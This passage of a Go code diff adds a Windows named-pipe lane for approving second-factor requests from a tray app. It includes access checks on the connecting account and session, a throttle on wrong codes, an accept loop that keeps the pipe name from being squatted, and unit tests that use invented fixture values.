// WHY A THROTTLE HERE AND NOT ON THE ADMIN PAGE. The admin page's approve has
|
||||
// no attempt limit because a process that can reach it can read the seed
|
||||
// anyway (ui.go). Through this lane that is no longer true: a process running
|
||||
// as the person cannot read the seed, so guessing codes is its only way in.
|
||||
// pipeThrottle bounds that, the way NIST SP 800-63B 5.2.2 asks: free
|
||||
// attempts, then one attempt per pipeSlowEvery, and none after
|
||||
// pipeLockAfter consecutive failures until a code is accepted on another lane
|
||||
// (an Administrator terminal or the admin page), which resets the count.
|
||||
//
|
||||
// The decisions are here, untagged, so the suite checks them on every
|
||||
// platform. The Windows calls that gather the client's identity and move the
|
||||
// bytes are in approvalpipe_windows.go.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
// approvalPipeName is the pipe the service serves and the tray dials.
|
||||
approvalPipeName = `\\.\pipe\privatae-bastion-approvals`
|
||||
|
||||
// approvalPipeSDDL: SYSTEM and Administrators full control; Interactive
|
||||
// users (IU) read, write and synchronize, and NOT FILE_CREATE_PIPE_INSTANCE.
|
||||
// 0x12019b is FILE_GENERIC_READ|FILE_GENERIC_WRITE (0x12019f) without
|
||||
// FILE_APPEND_DATA (0x4), which on a pipe is the right to create another
|
||||
// server instance of it: granting it would let a client stand up its own
|
||||
// end of this name and read the next code the tray sends. P protects the
|
||||
// DACL from inheritance.
|
||||
approvalPipeSDDL = "D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;0x12019b;;;IU)"
|
||||
|
||||
// pipeMaxRequest bounds one request. A list request is a few bytes and an
|
||||
// approve is under 300; anything larger is not ours.
|
||||
pipeMaxRequest = 16 << 10
|
||||
// pipeIOTimeout bounds every read and write on one connection, so a client
|
||||
// that connects and says nothing cannot hold an instance.
|
||||
pipeIOTimeout = 5 * time.Second
|
||||
// pipeMaxClients bounds the connections served at once.
|
||||
pipeMaxClients = 8
|
||||
|
||||
// The throttle (see the header). Five free attempts covers mistyped codes
|
||||
// and a code typed as the window turned; after that one attempt per
|
||||
// pipeSlowEvery, so an attacker gets at most pipeLockAfter guesses (a
|
||||
// 3-in-a-million chance each with the drift window) before the lane closes.
|
||||
pipeFreeFailures = 5
|
||||
pipeSlowEvery = 30 * time.Second
|
||||
pipeLockAfter = 100
|
||||
)
|
||||
|
||||
// pipeRequest is one request from the tray.
|
||||
type pipeRequest struct {
|
||||
Op string `json:"op"` // list | approve | deny
|
||||
// Host and ID name the request; Purpose is the sha256 of the purpose the
|
||||
// tray was shown for that id, so what is approved is what was read.
|
||||
Host string `json:"host,omitempty"`
|
||||
ID string `json:"id,omitempty"`
|
||||
Purpose string `json:"purpose_sha256,omitempty"`
|
||||
Code string `json:"code,omitempty"`
|
||||
}
|
||||
|
||||
// pipeApproval is one pending request as the tray shows it.
|
||||
type pipeApproval struct {
|
||||
ID string `json:"id"`
|
||||
Short string `json:"short"`
|
||||
Host string `json:"host"`
|
||||
At string `json:"at"`
|
||||
Lines []string `json:"lines"`
|
||||
Unreadable bool `json:"unreadable,omitempty"`
|
||||
Purpose string `json:"purpose_sha256"`
|
||||
}
|
||||
|
||||
// pipeResponse is the service's one answer.
|
||||
type pipeResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Message string `json:"message,omitempty"`
|
||||
// list only: the machine's state for the tray's icon and first line, and
|
||||
// what is waiting.
|
||||
State string `json:"state,omitempty"`
|
||||
StateClass string `json:"state_class,omitempty"`
|
||||
StateLine string `json:"state_line,omitempty"`
|
||||
Approvals []pipeApproval `json:"approvals,omitempty"`
|
||||
}
|
||||
|
||||
// pipeClient is what the service learned about the process on the other end.
|
||||
type pipeClient struct {
|
||||
PID uint32
|
||||
UserSID string // the client process token's user
|
||||
UserName string // for the log line
|
||||
SessionID uint32 // the client process token's session
|
||||
// SessionUserSID is the user signed in to SessionID (WTSQueryUserToken),
|
||||
// "" when nobody is.
|
||||
SessionUserSID string
|
||||
SessionActive bool // WTSActive: the session someone is in front of
|
||||
}
|
||||
|
||||
// purposeDigest is the sha256 of a purpose as the tray carries it back.
|
||||
func purposeDigest(purpose string) string {
|
||||
s := sha256.Sum256([]byte(purpose))
|
||||
return hex.EncodeToString(s[:])
|
||||
}
|
||||
|
||||
// winPersonSID reports whether a SID names a person's account: one issued by
|
||||
// the machine or its domain (S-1-5-21-) or by Microsoft Entra ID (S-1-12-1-).
|
||||
// SYSTEM, the service and virtual accounts and every group are not.
|
||||
func winPersonSID(sid string) bool {
|
||||
return strings.HasPrefix(sid, "S-1-5-21-") || strings.HasPrefix(sid, "S-1-12-1-")
|
||||
}
|
||||
|
||||
// pipeClientRefusal says why a connected process may not use the lane, or ""
|
||||
// when it may: it must run as the person signed in to its own session, in a
|
||||
// session someone is in front of.
|
||||
func pipeClientRefusal(c pipeClient) string {
|
||||
switch {
|
||||
case c.UserSID == "":
|
||||
return "cannot tell which account connected"
|
||||
case c.SessionID == 0:
|
||||
return "the connecting process runs in session 0, where services run and nobody signs in"
|
||||
case !winPersonSID(c.UserSID):
|
||||
return "the connecting process runs as " + pipeWho(c) + ", one of the machine's own identities, not a person"
|
||||
case c.SessionUserSID == "":
|
||||
return "nobody is signed in to the session the connecting process runs in"
|
||||
case !strings.EqualFold(c.UserSID, c.SessionUserSID):
|
||||
return "the connecting process runs as " + pipeWho(c) + ", not as the person signed in to its session"
|
||||
case !c.SessionActive:
|
||||
return "the connecting process runs in a session nobody is in front of"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// pipeAccessRefusal is every rule on who may use the lane, for list, deny and
|
||||
// approve alike: a person at their own active session (pipeClientRefusal),
|
||||
// and the one account that owns this machine's approvals (approvals_owner.go).
|
||||
func pipeAccessRefusal(c pipeClient) string {
|
||||
if why := pipeClientRefusal(c); why != "" {
|
||||
return why
|
||||
}
|
||||
return pipeOwnerRefusal(c, approvalsOwner())
|
||||
}
|
||||
|
||||
func pipeWho(c pipeClient) string {
|
||||
if c.UserName != "" {
|
||||
return c.UserName + " (" + c.UserSID + ")"
|
||||
}
|
||||
return c.UserSID
|
||||
}
|
||||
|
||||
// ── the throttle ────────────────────────────────────────────────────────────
|
||||
|
||||
type pipeThrottleFile struct {
|
||||
Failures int `json:"failures"`
|
||||
Last string `json:"last,omitempty"`
|
||||
}
|
||||
|
||||
func pipeThrottlePath(dir string) string { return filepath.Join(dir, "pipe_code_failures.json") }
|
||||
|
||||
func pipeThrottleLoad(dir string) pipeThrottleFile {
|
||||
var f pipeThrottleFile
|
||||
if raw, err := os.ReadFile(pipeThrottlePath(dir)); err == nil {
|
||||
_ = json.Unmarshal(raw, &f)
|
||||
}
|
||||
return f
|
||||
}
|
||||
|
||||
// pipeThrottleRefusal says why the lane takes no code for this pairing now, or
|
||||
// "" when it does.
|
||||
func pipeThrottleRefusal(f pipeThrottleFile, now time.Time) string {
|
||||
if f.Failures >= pipeLockAfter {
|
||||
return fmt.Sprintf("%d wrong codes in a row came through the tray, so it takes no more codes for this Host. "+
|
||||
"Approve once from an Administrator terminal (privatae-bastion approvals, then privatae-bastion approve <id>) "+
|
||||
"and the tray takes codes again", f.Failures)
|
||||
}
|
||||
if f.Failures < pipeFreeFailures {
|
||||
return ""
|
||||
}
|
||||
last, err := time.Parse(time.RFC3339, f.Last)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if wait := pipeSlowEvery - now.Sub(last); wait > 0 {
|
||||
return fmt.Sprintf("%d wrong codes in a row; try again in %d seconds", f.Failures, int(wait.Seconds()+0.999))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// pipeThrottleFail records one wrong code. Under stepupMu, like every other
|
||||
// write to a pairing's step-up state.
|
||||
func pipeThrottleFail(dir string, now time.Time) {
|
||||
stepupMu.Lock()
|
||||
defer stepupMu.Unlock()
|
||||
f := pipeThrottleLoad(dir)
|
||||
f.Failures++
|
||||
f.Last = now.UTC().Format(time.RFC3339)
|
||||
if raw, err := json.MarshalIndent(f, "", " "); err == nil {
|
||||
_ = atomicWrite(pipeThrottlePath(dir), raw)
|
||||
}
|
||||
}
|
||||
|
||||
// pipeThrottleReset clears the count. stepupApproveRequest calls it after any
|
||||
// accepted code, on any lane, so an approval from an Administrator terminal
|
||||
// re-opens a locked tray.
|
||||
func pipeThrottleReset(dir string) {
|
||||
_ = os.Remove(pipeThrottlePath(dir))
|
||||
}
|
||||
|
||||
// pipeCodeError reports whether an approve failed on the code itself (and so
|
||||
// counts towards the throttle), rather than on the request or the store.
|
||||
func pipeCodeError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
s := err.Error()
|
||||
return s == "code refused" || s == "code already used"
|
||||
}
|
||||
|
||||
// ── serving one request ─────────────────────────────────────────────────────
|
||||
|
||||
// pipeServe answers one request from client c. It is the whole lane apart
|
||||
// from moving bytes, so the suite runs it directly.
|
||||
func pipeServe(req pipeRequest, c pipeClient, now time.Time) pipeResponse {
|
||||
if why := pipeAccessRefusal(c); why != "" {
|
||||
return pipeResponse{Error: "refused: " + why}
|
||||
}
|
||||
switch req.Op {
|
||||
case "list":
|
||||
return pipeList()
|
||||
case "approve":
|
||||
return pipeApprove(req, c, now)
|
||||
case "deny":
|
||||
return pipeDeny(req, c)
|
||||
}
|
||||
return pipeResponse{Error: "unknown request " + strconv.Quote(req.Op)}
|
||||
}
|
||||
|
||||
// pipeList is the machine's state line and every pending step-up request, in
|
||||
// the words describeRequest gives them (collectUIStatus reads them through
|
||||
// pendingApprovals, which is what the admin page and its approvals popup show).
|
||||
func pipeList() pipeResponse {
|
||||
s := collectUIStatus()
|
||||
out := pipeResponse{OK: true, State: s.State, StateClass: s.StateClass, StateLine: trayStateLine(s)}
|
||||
for _, a := range s.Approvals {
|
||||
out.Approvals = append(out.Approvals, pipeApproval{
|
||||
ID: a.ID, Short: a.Short, Host: a.Host, At: a.At, Lines: a.Lines,
|
||||
Unreadable: a.Unreadable, Purpose: a.PurposeSHA256,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// pipeTarget resolves a request named by host and id to its pairing's step-up
|
||||
// state, refusing unless the request is pending and its purpose is the one the
|
||||
// tray showed.
|
||||
func pipeTarget(req pipeRequest) (dir string, r stepupRequest, err error) {
|
||||
if strings.TrimSpace(req.Host) == "" || strings.TrimSpace(req.ID) == "" {
|
||||
return "", r, errors.New("which request? the tray sends a Host and a request id")
|
||||
}
|
||||
cfg, err := approvalTarget(req.Host)
|
||||
if err != nil {
|
||||
return "", r, err
|
||||
}
|
||||
dir = cfg.dcnDir()
|
||||
if dir == "" || !stepupEnrolled(dir) {
|
||||
return "", r, fmt.Errorf("no second factor is enrolled on this machine for %s", cfg.HostName)
|
||||
}
|
||||
stepupMu.Lock()
|
||||
r, ok := requestsLoad(dir)[req.ID]
|
||||
stepupMu.Unlock()
|
||||
if !ok || r.State != "pending" {
|
||||
return "", r, errors.New("that request is no longer waiting (answered elsewhere, or lapsed)")
|
||||
}
|
||||
// BOUND TO WHAT WAS SHOWN. An id names one request, and a request's purpose
|
||||
// never changes; the check makes that a property of this lane rather than
|
||||
// of how ids are made, so a tray drawing one card and posting another's id
|
||||
// approves nothing.
|
||||
if req.Purpose == "" || req.Purpose != purposeDigest(r.Purpose) {
|
||||
return "", r, errors.New("that request is not the one shown; nothing was approved — reopen the list")
|
||||
}
|
||||
return dir, r, nil
|
||||
}
|
||||
|
||||
// pipeApproveMu makes the throttle's check, the attempt and the count one step:
|
||||
// without it, pipeMaxClients connections could each pass the check before any
|
||||
// of their failures was recorded.
|
||||
var pipeApproveMu sync.Mutex
|
||||
|
||||
func pipeApprove(req pipeRequest, c pipeClient, now time.Time) pipeResponse {
|
||||
pipeApproveMu.Lock()
|
||||
defer pipeApproveMu.Unlock()
|
||||
code := strings.TrimSpace(req.Code)
|
||||
if code == "" {
|
||||
return pipeResponse{Error: "enter the code from the authenticator enrolled on this machine"}
|
||||
}
|
||||
dir, _, err := pipeTarget(req)
|
||||
if err != nil {
|
||||
return pipeResponse{Error: err.Error()}
|
||||
}
|
||||
stepupMu.Lock()
|
||||
thr := pipeThrottleLoad(dir)
|
||||
stepupMu.Unlock()
|
||||
if why := pipeThrottleRefusal(thr, now); why != "" {
|
||||
return pipeResponse{Error: why}
|
||||
}
|
||||
if _, err := stepupApproveRequest(dir, req.ID, code); err != nil {
|
||||
if pipeCodeError(err) {
|
||||
pipeThrottleFail(dir, now)
|
||||
dcnAudit(dir, "stepup_approve_tray", 0, "", "refused for "+pipeWho(c)+": "+err.Error())
|
||||
}
|
||||
return pipeResponse{Error: "not approved: " + err.Error()}
|
||||
}
|
||||
dcnAudit(dir, "stepup_approve_tray", 0, "", "approved by "+pipeWho(c))
|
||||
return pipeResponse{OK: true, Message: "Approved. " + req.Host + " picks this up on its next check-in, within a minute."}
|
||||
}
|
||||
|
||||
func pipeDeny(req pipeRequest, c pipeClient) pipeResponse {
|
||||
dir, _, err := pipeTarget(req)
|
||||
if err != nil {
|
||||
return pipeResponse{Error: err.Error()}
|
||||
}
|
||||
// No code, as on every other lane: refusing is the safe direction.
|
||||
if err := stepupDenyRequest(dir, req.ID); err != nil {
|
||||
return pipeResponse{Error: "not denied: " + err.Error()}
|
||||
}
|
||||
dcnAudit(dir, "stepup_deny_tray", 0, "", "denied by "+pipeWho(c))
|
||||
return pipeResponse{OK: true, Message: "Denied. " + req.Host + " is told on its next check-in."}
|
||||
}
|
||||
|
||||
// ── the accept loop ─────────────────────────────────────────────────────────
|
||||
|
||||
// errPipeStopped: a wait ended because the service is stopping.
|
||||
var errPipeStopped = errors.New("stopped")
|
||||
|
||||
// pipeInstances is the pipe as pipeAcceptLoop sees it. approvalPipeServer
|
||||
// (approvalpipe_windows.go) is the real one; the suite drives a fake, so the
|
||||
// loop's one invariant is checked off Windows.
|
||||
type pipeInstances[T any] interface {
|
||||
// create opens a new server instance of the pipe's name.
|
||||
create() (T, error)
|
||||
// connect waits for a client on t: nil once one is connected,
|
||||
// errPipeStopped when the service stopped first.
|
||||
connect(t T) error
|
||||
// release closes t.
|
||||
release(t T)
|
||||
}
|
||||
|
||||
// pipeAcceptLoop serves the pipe until stop is closed, handing each connected
|
||||
// instance to serve on its own goroutine, at most maxClients at once.
|
||||
//
|
||||
// NO GAP IN THE NAME. From the first create until stop, one of our instances
|
||||
// is always open: a pipe's name exists only while an instance of it is, and in
|
||||
// a gap any process could create the name and be the server the tray dials
|
||||
// next. So a replacement is always created BEFORE the instance it replaces is
|
||||
// released, after a connect that worked and after one that failed (a client
|
||||
// that connects and closes at once fails the connect, and can do that on
|
||||
// purpose, as often as it likes).
|
||||
//
|
||||
// ready, when not nil, is called once the first instance exists: from then on
|
||||
// the service holds the name.
|
||||
func pipeAcceptLoop[T any](p pipeInstances[T], stop <-chan struct{}, maxClients int, retry time.Duration,
|
||||
logf func(string, ...any), ready func(), serve func(T)) error {
|
||||
slots := make(chan struct{}, maxClients)
|
||||
next, err := p.create()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ready != nil {
|
||||
ready()
|
||||
}
|
||||
for {
|
||||
c := next
|
||||
select {
|
||||
case slots <- struct{}{}:
|
||||
case <-stop:
|
||||
p.release(c)
|
||||
return nil
|
||||
}
|
||||
if err := p.connect(c); err != nil {
|
||||
<-slots
|
||||
if errors.Is(err, errPipeStopped) {
|
||||
p.release(c)
|
||||
return nil
|
||||
}
|
||||
// One failed connect is that client's. Its replacement is created
|
||||
// while it is still open, and only then is it closed: no gap.
|
||||
fresh, cerr := p.create()
|
||||
p.release(c)
|
||||
if cerr != nil {
|
||||
return cerr
|
||||
}
|
||||
next = fresh
|
||||
continue
|
||||
}
|
||||
// The next instance first, while this one is still open: no gap.
|
||||
for {
|
||||
if next, err = p.create(); err == nil {
|
||||
break
|
||||
}
|
||||
logf("approvals pipe: %v; retrying\n", err)
|
||||
select {
|
||||
case <-stop:
|
||||
p.release(c)
|
||||
return nil
|
||||
case <-time.After(retry):
|
||||
}
|
||||
}
|
||||
go func(c T) {
|
||||
defer func() { <-slots }()
|
||||
defer p.release(c)
|
||||
serve(c)
|
||||
}(c)
|
||||
}
|
||||
}
|
||||
|
||||
// pipeRetryFirst and pipeRetryMax bound the wait between attempts to serve
|
||||
// the pipe after one failed.
|
||||
const (
|
||||
pipeRetryFirst = time.Second
|
||||
pipeRetryMax = time.Minute
|
||||
)
|
||||
|
||||
// pipeServeRetrying runs serve until stop (serve returns nil), starting it
|
||||
// again whenever it fails. serve calls ready once it holds the pipe's name.
|
||||
// wait sleeps, and reports false when the service stopped meanwhile.
|
||||
//
|
||||
// THE NAME TAKEN AT START. A process that creates the pipe's name before the
|
||||
// service does (at boot, or in the five seconds of a restart) makes the
|
||||
// service's first create fail, because that create insists on the name being
|
||||
// new (FILE_FLAG_FIRST_PIPE_INSTANCE): the service never serves under a name it
|
||||
// did not create. Rather than leaving the tray off until the next restart, the
|
||||
// service tries again, waiting pipeRetryFirst and doubling to pipeRetryMax,
|
||||
// and starts the wait again once it holds the name. The log says so once per
|
||||
// series of failed attempts and once when serving again, not once per try.
|
||||
func pipeServeRetrying(serve func(ready func()) error, wait func(time.Duration) bool, logf func(string, ...any)) {
|
||||
backoff := pipeRetryFirst
|
||||
failing := false
|
||||
for {
|
||||
err := serve(func() {
|
||||
if failing {
|
||||
logf("approvals pipe: serving again\n")
|
||||
failing = false
|
||||
}
|
||||
backoff = pipeRetryFirst
|
||||
})
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if !failing {
|
||||
logf("approvals pipe: %v. Approvals are answered from an Administrator terminal meanwhile; "+
|
||||
"retrying, waiting up to %s between attempts.\n", err, pipeRetryMax)
|
||||
failing = true
|
||||
}
|
||||
if !wait(backoff) {
|
||||
return
|
||||
}
|
||||
if backoff *= 2; backoff > pipeRetryMax {
|
||||
backoff = pipeRetryMax
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// pipeDecode reads one request, refusing anything that is not one JSON object
|
||||
// within pipeMaxRequest.
|
||||
func pipeDecode(raw []byte) (pipeRequest, error) {
|
||||
var req pipeRequest
|
||||
if len(raw) > pipeMaxRequest {
|
||||
return req, errors.New("request too large")
|
||||
}
|
||||
if err := json.Unmarshal(raw, &req); err != nil {
|
||||
return req, errors.New("not a request")
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
package main
|
||||
|
||||
// The approvals pipe's accept loop (pipeAcceptLoop, approvalpipe.go), driven
|
||||
// with a fake pipe so its one invariant is checked off Windows: from the first
|
||||
// instance until the service stops, the pipe's name always has one of our
|
||||
// instances open, so no other process can create it in between.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// fakePipeInstances counts open instances and records every moment one of
|
||||
// ours closed with none left open while the loop was still serving.
|
||||
type fakePipeInstances struct {
|
||||
mu sync.Mutex
|
||||
open int
|
||||
made int
|
||||
gaps []string
|
||||
stop <-chan struct{}
|
||||
stopping bool
|
||||
// script is what each connect returns, in order; after it, connect waits
|
||||
// for stop.
|
||||
script []error
|
||||
connects int
|
||||
}
|
||||
|
||||
func (f *fakePipeInstances) create() (int, error) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.made++
|
||||
f.open++
|
||||
return f.made, nil
|
||||
}
|
||||
|
||||
func (f *fakePipeInstances) release(id int) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
f.open--
|
||||
if f.open == 0 && !f.stopping {
|
||||
f.gaps = append(f.gaps, fmt.Sprintf("instance %d closed with none of ours open", id))
|
||||
}
|
||||
}
|
||||
|
||||
func (f *fakePipeInstances) connect(int) error {
|
||||
f.mu.Lock()
|
||||
i := f.connects
|
||||
f.connects++
|
||||
f.mu.Unlock()
|
||||
if i < len(f.script) {
|
||||
return f.script[i]
|
||||
}
|
||||
<-f.stop
|
||||
f.mu.Lock()
|
||||
f.stopping = true
|
||||
f.mu.Unlock()
|
||||
return errPipeStopped
|
||||
}
|
||||
|
||||
func (f *fakePipeInstances) snapshot() (connects, open int, gaps []string) {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
return f.connects, f.open, append([]string(nil), f.gaps...)
|
||||
}
|
||||
|
||||
func TestThePipeNameAlwaysHasOneOfOurInstancesOpen(t *testing.T) {
|
||||
stop := make(chan struct{})
|
||||
// A client that connects and closes at once fails the connect; it can do
|
||||
// that on purpose, as often as it likes. Mixed with clients that are served.
|
||||
closed := errors.New("the client closed before the connect")
|
||||
f := &fakePipeInstances{stop: stop, script: []error{closed, closed, nil, closed, nil, closed}}
|
||||
served := make(chan int, 8)
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- pipeAcceptLoop[int](f, stop, 2, time.Millisecond, func(string, ...any) {}, nil, func(id int) { served <- id })
|
||||
}()
|
||||
for i := 0; i < 2; i++ {
|
||||
select {
|
||||
case <-served:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("the loop did not serve the connected clients")
|
||||
}
|
||||
}
|
||||
for deadline := time.Now().Add(5 * time.Second); ; {
|
||||
if n, _, _ := f.snapshot(); n > len(f.script) {
|
||||
break // waiting for the next client
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatal("the loop never came back to wait for the next client")
|
||||
}
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
close(stop)
|
||||
select {
|
||||
case err := <-done:
|
||||
if err != nil {
|
||||
t.Fatalf("the loop ended with %v, want nil on stop", err)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("the loop did not end on stop")
|
||||
}
|
||||
if _, _, gaps := f.snapshot(); len(gaps) > 0 {
|
||||
t.Fatalf("the pipe's name was free while the service served it, so another process could have created it:\n %v", gaps)
|
||||
}
|
||||
// And nothing is left open once the served clients are done.
|
||||
for deadline := time.Now().Add(5 * time.Second); ; {
|
||||
if _, open, _ := f.snapshot(); open == 0 {
|
||||
break
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
_, open, _ := f.snapshot()
|
||||
t.Fatalf("%d instance(s) still open after stop", open)
|
||||
}
|
||||
time.Sleep(time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
func TestThePipeIsRetriedWithBackoffWhenItsNameIsTaken(t *testing.T) {
|
||||
// What each attempt to serve does: fail before it holds the name (another
|
||||
// process created it first), or hold the name (ready) and then fail or stop.
|
||||
type attempt struct {
|
||||
ready bool
|
||||
err error
|
||||
}
|
||||
taken := errors.New("cannot create the pipe: the name is held by another process")
|
||||
broke := errors.New("the next instance could not be created")
|
||||
attempts := []attempt{{false, taken}, {false, taken}, {false, taken}, {true, broke}, {false, taken}, {true, nil}}
|
||||
var n int
|
||||
var waits []time.Duration
|
||||
var logs []string
|
||||
pipeServeRetrying(func(ready func()) error {
|
||||
if n >= len(attempts) {
|
||||
t.Fatal("served again after it stopped")
|
||||
}
|
||||
a := attempts[n]
|
||||
n++
|
||||
if a.ready {
|
||||
ready()
|
||||
}
|
||||
return a.err
|
||||
}, func(d time.Duration) bool {
|
||||
waits = append(waits, d)
|
||||
return true
|
||||
}, func(f string, a ...any) { logs = append(logs, fmt.Sprintf(f, a...)) })
|
||||
|
||||
if n != len(attempts) {
|
||||
t.Fatalf("%d attempts, want %d: a failed start must be tried again", n, len(attempts))
|
||||
}
|
||||
want := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second, time.Second, 2 * time.Second}
|
||||
if fmt.Sprint(waits) != fmt.Sprint(want) {
|
||||
t.Fatalf("waits %v, want %v (doubling, and starting again once the name was held)", waits, want)
|
||||
}
|
||||
// Once per series of attempts, and once when it is serving again.
|
||||
retrying, again := 0, 0
|
||||
for _, l := range logs {
|
||||
switch {
|
||||
case strings.Contains(l, "retrying"):
|
||||
retrying++
|
||||
case strings.Contains(l, "serving again"):
|
||||
again++
|
||||
}
|
||||
}
|
||||
if retrying != 2 || again != 2 || len(logs) != 4 {
|
||||
t.Fatalf("log lines %q: want one per series of failed attempts (2) and one per recovery (2)", logs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestThePipeRetryWaitIsCappedAndEndsWithTheService(t *testing.T) {
|
||||
var waits []time.Duration
|
||||
tries := 0
|
||||
pipeServeRetrying(func(func()) error {
|
||||
tries++
|
||||
return errors.New("the name is held by another process")
|
||||
}, func(d time.Duration) bool {
|
||||
waits = append(waits, d)
|
||||
return len(waits) < 12 // the service stops during the twelfth wait
|
||||
}, func(string, ...any) {})
|
||||
if tries != 12 {
|
||||
t.Fatalf("%d attempts, want 12: none after the service stopped", tries)
|
||||
}
|
||||
if last := waits[len(waits)-1]; last != pipeRetryMax {
|
||||
t.Fatalf("the wait grew to %v, want it capped at %v", last, pipeRetryMax)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,366 @@
|
||||
package main
|
||||
|
||||
// The tray's lane to a system service (approvalpipe.go), driven through
|
||||
// pipeServe: who may use it, what it lists, and that a code approves exactly
|
||||
// the one request that was shown, once, and not by guessing.
|
||||
//
|
||||
// Every value here is invented.
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
pipeTestHost = "tray.host.example"
|
||||
pipeTestSecret = "GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ" // base32 of "0123456789012345"
|
||||
pipeTestUser = "S-1-5-21-1111111111-2222222222-3333333333-1001"
|
||||
)
|
||||
|
||||
// thePerson is a client that may use the lane: the person signed in to an
|
||||
// active session, connecting from it.
|
||||
var thePerson = pipeClient{PID: 4242, UserSID: pipeTestUser, UserName: `EXAMPLE\pat`,
|
||||
SessionID: 1, SessionUserSID: pipeTestUser, SessionActive: true}
|
||||
|
||||
// pipeBox is one paired Host with a factor enrolled and two pending requests,
|
||||
// A and B, in an isolated config dir.
|
||||
func pipeBox(t *testing.T) (dir, idA, purposeA, idB, purposeB string) {
|
||||
t.Helper()
|
||||
uiTestConfigDir(t)
|
||||
writePairing(t, pipeTestHost)
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil || len(cfgs) != 1 {
|
||||
t.Fatalf("pairing: %v %d", err, len(cfgs))
|
||||
}
|
||||
dir = cfgs[0].dcnDir()
|
||||
if err := stepupSave(dir, &stepupFile{SecretB32: pipeTestSecret, EnrolledAt: "2026-10-19T00:00:00Z", LastCounter: -1}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// The person owns this machine's approvals, as the installer records it.
|
||||
writeApprovalsOwner(t, pipeTestUser)
|
||||
ask := func(root string) (string, string) {
|
||||
d := map[string]any{"kind": "dcn_store_grant", "server": "desk-7", "root": root,
|
||||
"mask": []any{"read", "search"}, "excludes": []any{".ssh"}, "sweep": "hourly", "sensitive": false}
|
||||
p, err := purposeFromDetails(d)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
id, err := stepupNewRequest(dir, p, d)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return id, p
|
||||
}
|
||||
idA, purposeA = ask("/srv/example-a")
|
||||
idB, purposeB = ask("/srv/example-b")
|
||||
return
|
||||
}
|
||||
|
||||
// writeApprovalsOwner records sid as the owner of this machine's approvals,
|
||||
// the file `approvals-owner` writes.
|
||||
func writeApprovalsOwner(t *testing.T, sid string) {
|
||||
t.Helper()
|
||||
p, err := approvalsOwnerPath()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
raw, _ := json.Marshal(approvalsOwnerRecord{SID: sid, SetAt: "2026-10-19T00:00:00Z"})
|
||||
if err := atomicWrite(p, raw); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
// anotherPerson is someone else with an account on the machine, signed in to
|
||||
// an active session of their own: everything pipeClientRefusal asks, and not
|
||||
// the owner.
|
||||
var anotherPerson = pipeClient{PID: 5151, UserSID: "S-1-5-21-1111111111-2222222222-3333333333-1002", UserName: `EXAMPLE\sam`,
|
||||
SessionID: 2, SessionUserSID: "S-1-5-21-1111111111-2222222222-3333333333-1002", SessionActive: true}
|
||||
|
||||
func TestThePipeServesOnlyTheAccountThatOwnsTheApprovals(t *testing.T) {
|
||||
dir, idA, purposeA, _, _ := pipeBox(t)
|
||||
now := time.Now()
|
||||
if why := pipeClientRefusal(anotherPerson); why != "" {
|
||||
t.Fatalf("the fixture must pass the session rules: %s", why)
|
||||
}
|
||||
refusedOwner := func(resp pipeResponse, what string) {
|
||||
t.Helper()
|
||||
if resp.OK || !strings.Contains(resp.Error, "belong to another account") {
|
||||
t.Fatalf("%s by another account must be refused: %+v", what, resp)
|
||||
}
|
||||
}
|
||||
refusedOwner(pipeServe(pipeRequest{Op: "list"}, anotherPerson, now), "list")
|
||||
code := pipeCodeNow()
|
||||
refusedOwner(pipeServe(pipeRequest{Op: "approve", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA), Code: code}, anotherPerson, now), "approve")
|
||||
refusedOwner(pipeServe(pipeRequest{Op: "deny", Host: pipeTestHost, ID: idA, Purpose: purposeDigest(purposeA)}, anotherPerson, now), "deny")
|
||||
if r := stateOf(t, dir, idA); r.State != "pending" {
|
||||
t.Fatalf("a refused account changed the request: %s", r.State)
|
||||
}
|
||||
